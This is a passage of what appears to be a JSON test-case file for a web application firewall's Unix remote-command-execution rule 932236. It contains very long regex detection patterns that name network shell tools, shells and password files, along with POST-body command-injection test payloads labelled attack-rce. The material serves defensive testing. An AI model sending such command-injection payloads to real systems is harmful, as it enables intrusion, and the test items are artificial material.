[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution of shutdown command." } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=pipaaaaaaaaaaaaaaaaaa\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\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:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[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\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Don't match very long permutations of commands when using ~" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=pip3 install something\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\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\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\